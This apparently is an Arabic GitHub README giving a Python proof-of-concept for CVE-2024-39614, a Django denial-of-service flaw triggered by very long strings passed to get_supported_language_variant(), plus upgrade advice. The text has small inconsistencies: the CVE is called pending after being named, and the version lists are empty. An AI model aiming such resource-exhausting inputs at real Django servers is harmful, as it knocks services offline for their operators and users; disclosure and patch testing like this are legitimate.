
إثبات المفهوم لـ CVE-2024-39614، ثغرة رفض الخدمة في Django. يوضح استنزاف الموارد عبر سلاسل طويلة في get_supported_language_variant()، مما يؤثر على Django قبل 5.0.7 و4.2.14.
يحتوي هذا المستودع على سكريبت إثبات المفهوم (PoC) يوضح ثغرة حرمان من الخدمة (DoS) في إصدارات Django 5.0 قبل 5.0.7 و 4.2 قبل 4.2.14. تكمن الثغرة في الدالة get_supported_language_variant()، والتي تكون عرضة لهجوم حرمان من الخدمة عند معالجة سلاسل طويلة جدًا تحتوي على أحرف محددة.
CVE-ID: (معلّق)
نظرة عامة:
الدالة get_supported_language_variant() في إصدارات Django 5.0 قبل 5.0.7 و 4.2 قبل 4.2.14 معرضة لهجوم حرمان من الخدمة. يمكن استغلال هذه الدالة عن طريق إرسال سلاسل طويلة جدًا تحتوي على أحرف محددة، مما قد يؤدي إلى استنزاف الموارد وبالتالي حالة حرمان من الخدمة.
الإصدارات المتأثرة:
الإصدارات المُصحَّحة:
pip install django)يوضح هذا السكريبت كيف يمكن للمهاجم استغلال الثغرة عن طريق إرسال سلسلة طويلة جدًا إلى الدالة get_supported_language_variant().
احفظ السكريبت التالي كـ dos_poc.py وقم بتشغيله.
import django
from django.utils.translation import get_supported_language_variant
# Check Django version
if django.VERSION < (4, 2, 14) or (5, 0) <= django.VERSION < (5, 0, 7):
print("[-] This Django version is vulnerable to the DoS attack.")
else:
print("[+] This Django version is not vulnerable. Please use a vulnerable version for testing.")
# Generate a very long string containing specific characters
very_long_string = 'a' * 1000000 + '!' # Adjust the length and content as necessary
def test_dos_vulnerability():
try:
# Trigger the vulnerability
get_supported_language_variant(very_long_string)
print("[+] Successfully called get_supported_language_variant with a very long string.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
test_dos_vulnerability()
test_dos_vulnerability() باستدعاء get_supported_language_variant() مع السلسلة الطويلة جدًا لاختبار الثغرة.للتخفيف من هذه الثغرة، قم بالترقية إلى الإصدارات المُصحَّحة من Django:
اتبع تعليمات الترقية الرسمية لـ Django لتحديث تثبيت Django إلى أحدث إصدار آمن.
من خلال الحفاظ على تحديث برامجك واتباع أفضل ممارسات الأمان، يمكنك منع ثغرات مثل مشكلة حرمان الخدمة هذه في Django.